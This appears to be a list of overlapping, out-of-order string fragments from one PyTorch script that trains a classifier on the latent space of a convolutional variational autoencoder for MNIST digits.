"= C(z) _, predicted = torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy)",
"no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec:",
"logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon,",
"{} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. *",
"as nn from torchvision import datasets, transforms from torch.utils.data import DataLoader import torch.optim",
"import torch from torch.autograd import Variable import torch.nn as nn from torchvision import",
"= nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1),",
"torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy) with open(\"InfoAccuracyCNN.txt\", \"w\") as output:",
"loss: {:.4f}' .format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss /",
"predicted = torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy) with open(\"InfoAccuracyCNN.txt\", \"w\")",
"nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118,",
"self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init()",
"import Variable import torch.nn as nn from torchvision import datasets, transforms from torch.utils.data",
"matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def",
"os import torch.nn.functional as F import torch.nn.init as init import matplotlib.pyplot as plt",
"print('This code is running over', device) max_iter = int(20) batch_size = 100 z_dim",
"nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(),",
"stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size())",
"def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is not",
"(x_true, target) in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True)",
"betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded') Result = [] for epoch",
"torch.nn as nn from torchvision import datasets, transforms from torch.utils.data import DataLoader import",
"= 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True,",
"{:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(), ))",
"nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std =",
"stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar,",
"__init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True),",
"x_test, labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs = C(z) _,",
"torchvision import datasets, transforms from torch.utils.data import DataLoader import torch.optim as optim import",
"= VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted = torch.max(outputs.data, 1) Accuracy =",
"stats = self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z",
"logvar) return z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar",
"DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C =",
"x, no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device)",
"nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init",
"= normal_init for block in self._modules: for m in self._modules[block]: initializer(m) def forward(self,",
"size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld = -0.5 * (1 + logvar",
"Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100.",
"1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1),",
"gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats",
"import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module):",
"mode='normal'): initializer = normal_init for block in self._modules: for m in self._modules[block]: initializer(m)",
"F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld = -0.5 * (1",
"nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), ) self.decode",
"torch from torch.autograd import Variable import torch.nn as nn from torchvision import datasets,",
"criterion = nn.CrossEntropyLoss() print('Network is loaded') Result = [] for epoch in range(max_iter):",
"x_recon, mu, logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02)",
"nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d,",
"warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net",
"class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode = nn.Sequential(",
"download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True)",
"gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu = stats[:, :self.z_dim] logvar",
"4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), ) def reparametrize(self,",
"nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True),",
"if batch_idx % 100 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss:",
"\\t Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:',",
"= iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs =",
"loss def kl_divergence(mu, logvar): kld = -0.5 * (1 + logvar - mu",
"nn from torchvision import datasets, transforms from torch.utils.data import DataLoader import torch.optim as",
"x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted = torch.max(outputs.data,",
"% 100 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch,",
"eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z",
"datasets, transforms from torch.utils.data import DataLoader import torch.optim as optim import math import",
"in self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2):",
"self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight,",
"= stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon =",
"(nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n",
"= self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)):",
"nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init for block",
"= stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu,",
"28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), ) def",
"print('Train Epoch: {} [{}/{} ({:.0f}%)] \\t Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset),",
"math import numpy as np import os import torch.nn.functional as F import torch.nn.init",
"class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net = nn.Sequential(",
"Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded')",
"+ 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx + 1), )) (x_test, labels)",
"import torch.nn.init as init import matplotlib.pyplot as plt import seaborn as sns import",
"Loss: {:.6f} '.format(epoch, batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(),",
"2 - logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device = 'cuda' if use_cuda",
"(batch_idx + 1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx + 1), )) (x_test,",
"import DataLoader import torch.optim as optim import math import numpy as np import",
"= self.encode(x) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu,",
"shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005,",
"= optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded') Result =",
"batch_idx, (x_true, target) in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z = VAE(x_true,",
"lr_C = 0.001 beta1_C = 0.9 beta2_C = 0.999 z_dim = 2 training_set",
"z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is",
"x): n = x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu,",
"range(max_iter): train_loss = 0 for batch_idx, (x_true, target) in enumerate(data_loader): x_true, target =",
"import datasets, transforms from torch.utils.data import DataLoader import torch.optim as optim import math",
"2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1),",
"z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4,",
"no_dec=True) outputs = C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss +=",
"batch_size = 100 z_dim = 2 lr_C = 0.001 beta1_C = 0.9 beta2_C",
"{}, \\t Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx + 1))) Result.append(('====>epoch:', epoch,",
"if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if",
"elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon,",
"= C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if",
"no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size())",
"self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'):",
"seaborn as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__()",
"no_dec: stats = self.encode(x) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z",
"def forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim), requires_grad=False) gen_z",
"self.reparametrize(mu, logvar) x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def normal_init(m): if",
"from torch.autograd import Variable import torch.nn as nn from torchvision import datasets, transforms",
"torch.nn.functional as F import torch.nn.init as init import matplotlib.pyplot as plt import seaborn",
"(nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias is not None: m.bias.data.fill_(0) elif isinstance(m,",
"torch.optim as optim import math import numpy as np import os import torch.nn.functional",
"4, 2, 1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps",
"* (1 + logvar - mu ** 2 - logvar.exp()).sum(1).mean() return kld use_cuda",
"enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs = C(z)",
"loaded') Result = [] for epoch in range(max_iter): train_loss = 0 for batch_idx,",
"block in self._modules: for m in self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze()",
"not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None:",
"self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1,",
"100. * batch_idx / len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t Average loss:",
"nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n =",
"beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded') Result = [] for epoch in",
"def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10),",
"if m.bias is not None: m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0) loss",
"nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), )",
"train_loss / (batch_idx + 1), )) (x_test, labels) = iter(test_loader).next() x_test, labels =",
"'cuda' if use_cuda else 'cpu' print('This code is running over', device) max_iter =",
"int(20) batch_size = 100 z_dim = 2 lr_C = 0.001 beta1_C = 0.9",
"Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim self.net = nn.Sequential( nn.Linear(z_dim,",
"train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size,",
"target.to(device) z = VAE(x_true, no_dec=True) outputs = C(z) loss = criterion(outputs, target) optim_C.zero_grad()",
"nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return",
"= self.reparametrize(mu, logvar) return z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu = stats[:,",
"if m.bias is not None: m.bias.data.fill_(0) elif isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d)): m.weight.data.fill_(1) if m.bias",
"[] for epoch in range(max_iter): train_loss = 0 for batch_idx, (x_true, target) in",
"batch_idx * len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(), )) print('====> Epoch:",
"return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z = Variable(torch.randn(49, z_dim),",
"self.reparametrize(mu, logvar) return z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim]",
"VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C))",
"torch.utils.data import DataLoader import torch.optim as optim import math import numpy as np",
"def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim",
"2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2,",
"10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init for",
")) print('====> Epoch: {}, \\t Average loss: {:.4f}' .format(epoch, train_loss / (batch_idx +",
"loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld = -0.5",
"def recon_loss(x_recon, x): n = x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss",
"self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x) mu = stats[:, :self.z_dim] logvar = stats[:,",
"= z_dim self.net = nn.Sequential( nn.Linear(z_dim, 10), nn.ReLU(True), nn.Linear(10, 10), ) self.weight_init() def",
"= x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld",
") self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1),",
"1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy) with open(\"InfoAccuracyCNN.txt\", \"w\") as output: output.write(str(Result))",
"= 'cuda' if use_cuda else 'cpu' print('This code is running over', device) max_iter",
"def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28,",
"import torch.optim as optim import math import numpy as np import os import",
"mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) x_recon",
"VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C = Classification().to(device) optim_C = optim.Adam(C.parameters(), lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss()",
"784)) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar)",
"training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader",
"init import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') class",
") self.weight_init() def weight_init(self, mode='normal'): initializer = normal_init for block in self._modules: for",
"shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True, num_workers=3) VAE = CNNVAE1().to(device) VAE.load_state_dict(torch.load('./Info_VAE_CNN')) C =",
"= 100 z_dim = 2 lr_C = 0.001 beta1_C = 0.9 beta2_C =",
"m in self._modules[block]: initializer(m) def forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self,",
"def kl_divergence(mu, logvar): kld = -0.5 * (1 + logvar - mu **",
"= datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader =",
"as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self,",
"0.001 beta1_C = 0.9 beta2_C = 0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST',",
"x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return loss def kl_divergence(mu, logvar): kld =",
"Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats = self.encode(x)",
"118, 4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), ) self.decode =",
"train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set, batch_size=batch_size, shuffle=True) test_loader = DataLoader(test_set, batch_size=10000, shuffle=True,",
"56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4,",
"1))) Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx + 1), )) (x_test, labels) =",
"= Variable(torch.randn(49, z_dim), requires_grad=False) gen_z = gen_z.to(device) return self.decode(gen_z).view(x.size()) if no_dec: stats =",
"target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if batch_idx % 100 == 0:",
"+ 1), )) (x_test, labels) = iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z",
"C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss += loss.item() if batch_idx",
"4, 2, 1), nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), ) self.decode = nn.Sequential(",
"datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set = datasets.MNIST('./tmp/MNIST', train=False, download=True, transform=transforms.ToTensor()) data_loader = DataLoader(training_set,",
"self.encode(x) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar)",
"in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs =",
"if no_dec: stats = self.encode(x) mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:]",
"= logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if",
"forward(self, z): return self.net(z).squeeze() class CNNVAE1(nn.Module): def __init__(self, z_dim=2): super(CNNVAE1, self).__init__() self.z_dim =",
"z_dim = 2 lr_C = 0.001 beta1_C = 0.9 beta2_C = 0.999 z_dim",
"_, predicted = torch.max(outputs.data, 1) Accuracy = (predicted == labels).sum().item()/x_test.size(0) Result.append(Accuracy) with open(\"InfoAccuracyCNN.txt\",",
"nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1), nn.ReLU(True), nn.Conv2d(56, 118, 4, 2, 1), nn.ReLU(True),",
"nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True),",
"m.bias.data.fill_(0) def recon_loss(x_recon, x): n = x.size(0) loss = F.binary_cross_entropy(x_recon, x, size_average=False).div(n) return",
"x_recon = self.decode(z).view(x.size()) return x_recon, mu, logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear,",
"0 for batch_idx, (x_true, target) in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z",
"use_cuda = torch.cuda.is_available() device = 'cuda' if use_cuda else 'cpu' print('This code is",
"mu = stats[:, :self.z_dim] logvar = stats[:, self.z_dim:] z = self.reparametrize(mu, logvar) return",
"2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), ) def reparametrize(self, mu,",
"1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4, 2, 1),",
"over', device) max_iter = int(20) batch_size = 100 z_dim = 2 lr_C =",
"loss.backward() optim_C.step() train_loss += loss.item() if batch_idx % 100 == 0: print('Train Epoch:",
"beta2_C = 0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set",
"as init import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore')",
"nn.ReLU(True), nn.Conv2d(118, 2 * z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1),",
"VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted = torch.max(outputs.data, 1) Accuracy = (predicted",
"train_loss += loss.item() if batch_idx % 100 == 0: print('Train Epoch: {} [{}/{}",
"self.z_dim = z_dim self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28,",
"import os import torch.nn.functional as F import torch.nn.init as init import matplotlib.pyplot as",
"1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar):",
"= int(20) batch_size = 100 z_dim = 2 lr_C = 0.001 beta1_C =",
"logvar - mu ** 2 - logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device",
"4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 56, 4,",
"else 'cpu' print('This code is running over', device) max_iter = int(20) batch_size =",
"is running over', device) max_iter = int(20) batch_size = 100 z_dim = 2",
"nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28,",
"lr=0.005, betas=(beta1_C, beta2_C)) criterion = nn.CrossEntropyLoss() print('Network is loaded') Result = [] for",
"* len(x_true), len(data_loader.dataset), 100. * batch_idx / len(data_loader), loss.item(), )) print('====> Epoch: {},",
"z.squeeze() else: stats = self.encode(x.view(-1, 784)) mu = stats[:, :self.z_dim] logvar = stats[:,",
"VAE(x_true, no_dec=True) outputs = C(z) loss = criterion(outputs, target) optim_C.zero_grad() loss.backward() optim_C.step() train_loss",
"nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1,",
"x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs = C(z) loss = criterion(outputs, target)",
"labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted = torch.max(outputs.data, 1)",
"weight_init(self, mode='normal'): initializer = normal_init for block in self._modules: for m in self._modules[block]:",
"= 0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True, transform=transforms.ToTensor()) test_set =",
"def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps = std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def",
"(x_test, labels) = iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True)",
"nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 1, 4, 2, 1), nn.Sigmoid(), )",
"for epoch in range(max_iter): train_loss = 0 for batch_idx, (x_true, target) in enumerate(data_loader):",
"1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True),",
"= std.data.new(std.size()).normal_() return eps.mul(std).add_(mu) def forward(self, x, no_dec=False, no_enc=False): if no_enc: gen_z =",
"1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2, 1), nn.ReLU(True),",
"target) in enumerate(data_loader): x_true, target = x_true.to(device), target.to(device) z = VAE(x_true, no_dec=True) outputs",
"* z_dim, 1), ) self.decode = nn.Sequential( nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118,",
"for block in self._modules: for m in self._modules[block]: initializer(m) def forward(self, z): return",
"self.encode = nn.Sequential( nn.Conv2d(1, 28, 4, 2, 1), nn.ReLU(True), nn.Conv2d(28, 28, 4, 2,",
"mu ** 2 - logvar.exp()).sum(1).mean() return kld use_cuda = torch.cuda.is_available() device = 'cuda'",
"Result.append(('====>epoch:', epoch, 'loss:', train_loss / (batch_idx + 1), )) (x_test, labels) = iter(test_loader).next()",
"logvar, z.squeeze() def normal_init(m): if isinstance(m, (nn.Linear, nn.Conv2d)): init.normal(m.weight, 0, 0.02) if m.bias",
"= 2 lr_C = 0.001 beta1_C = 0.9 beta2_C = 0.999 z_dim =",
"= 0.9 beta2_C = 0.999 z_dim = 2 training_set = datasets.MNIST('./tmp/MNIST', train=True, download=True,",
"nn.Conv2d(z_dim, 118, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 118, 4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(118, 56, 4,",
"4, 2, 1), nn.ReLU(True), nn.ConvTranspose2d(56, 28, 4, 1), nn.ReLU(True), nn.ConvTranspose2d(28, 28, 4, 2,",
"= -0.5 * (1 + logvar - mu ** 2 - logvar.exp()).sum(1).mean() return",
"2, 1), nn.Sigmoid(), ) def reparametrize(self, mu, logvar): std = logvar.mul(0.5).exp_() eps =",
"/ len(data_loader), loss.item(), )) print('====> Epoch: {}, \\t Average loss: {:.4f}' .format(epoch, train_loss",
"z = VAE(x_test.to(device), no_dec=True) outputs = C(z) _, predicted = torch.max(outputs.data, 1) Accuracy",
"plt import seaborn as sns import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2):",
"initializer = normal_init for block in self._modules: for m in self._modules[block]: initializer(m) def",
"labels) = iter(test_loader).next() x_test, labels = x_test.to(device), labels.to(device) z = VAE(x_test.to(device), no_dec=True) outputs",
"Variable import torch.nn as nn from torchvision import datasets, transforms from torch.utils.data import",
"import torch.nn.functional as F import torch.nn.init as init import matplotlib.pyplot as plt import",
"import warnings warnings.filterwarnings('ignore') class Classification(nn.Module): def __init__(self, z_dim=2): super(Classification, self).__init__() self.z_dim = z_dim",
